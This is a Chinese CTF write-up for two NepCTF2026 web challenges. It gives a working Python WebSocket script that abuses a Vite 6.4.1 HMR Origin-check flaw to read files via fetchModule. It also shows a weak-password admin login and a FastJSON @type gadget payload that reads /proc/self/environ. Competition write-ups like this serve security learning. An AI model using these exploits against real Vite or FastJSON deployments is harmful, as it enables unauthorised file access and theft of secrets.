NepCTF2026 web 部分wp
挂钩都在干什么呢?:
看前端发现是Vite 6.4.1,存在CVE-2026-39363,vite@6.4.1 的 HMR WebSocket 存在一个逻辑缺陷,如果请求 没有 Origin,有分支会直接放行不校验token。同时服务端内部的fetchModule(...)正常提供“取模块内容”的能力,但如果这个模块 ID 是:file:///flag?raw,则会把flag当作原始文本资源读取并返回。同时/@vite/client 里有一套 RPC 风格机制。客户端会向 WebSocket 发送一个 custom 消息,事件名是:vite:invoke,包含编号,调用的服务端的方法的方法名以及传给这个方法的参数数组。所以我们直接写个python脚本读取:
import json
from urllib.parse import urlparse
from websocket import create_connection
base_url = "http://114.66.24.240:30308/"
target_file = "/flag"
parsed = urlparse(base_url)
ws_scheme = "wss" if parsed.scheme == "https" else "ws"
ws_url = f"{ws_scheme}://{parsed.netloc}/"
payload = {
"type": "custom",
"event": "vite:invoke",
"data": {
"id": "send:py-read",
"name": "fetchModule",
"data": [
f"file://{target_file}?raw",
None,
{}
]
}
}
ws = create_connection(
ws_url,
subprotocols=["vite-hmr"],
timeout=10,
suppress_origin=True,
)
try:
ws.send(json.dumps(payload))
while True:
raw = ws.recv()
msg = json.loads(raw)
print("[recv]", json.dumps(msg, ensure_ascii=False, indent=2))
if (
msg.get("type") == "custom"
and msg.get("event") == "vite:invoke"
and msg.get("data", {}).get("id") == "response:py-read"
):
code = msg["data"]["data"]["result"]["code"]
print("n[flag module code]")
print(code)
break
finally:
ws.close()
文档编辑系统:
进去现实弱密码爆破admin账号:admin:admin123,保存文档时抓包发现/api/admin/doc/batchUpdate接口,测试发现使用的是FastJSON而且支持@type写法。即我们可以去让FastJSON帮我们创建java对象。
比如我们写:
{"@type":"某个Java类","字段1":"值1","字段2":"值2"}
它就会帮我们创建这个类。这里我们利用两个类:
javax.swing.JEditorPane和org.springframework.beans.factory.config.PropertyPathFactoryBean。
其中前者有个属性叫 page,这个属性被设成某个 URL ,创建对象时它会尝试去加载那个 URL 的内容。我们可以将它设置成
file:/proc/self/environ,那么就会读取然后存进对象的text属性。
后者可以帮我们取出对应对象的指定属性,这里是上面的text属性,然后在服务端序列化调用getObject方法时将它返回。这样我们才能看到回显。所以我们最后的payload:
{
"docId": 1,
"title": "readme.txt",
"status": "draft",
"content": {
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetObject": {
"@type": "javax.swing.JEditorPane",
"page": "file:/proc/self/environ"
},
"propertyPath": "text"
}
}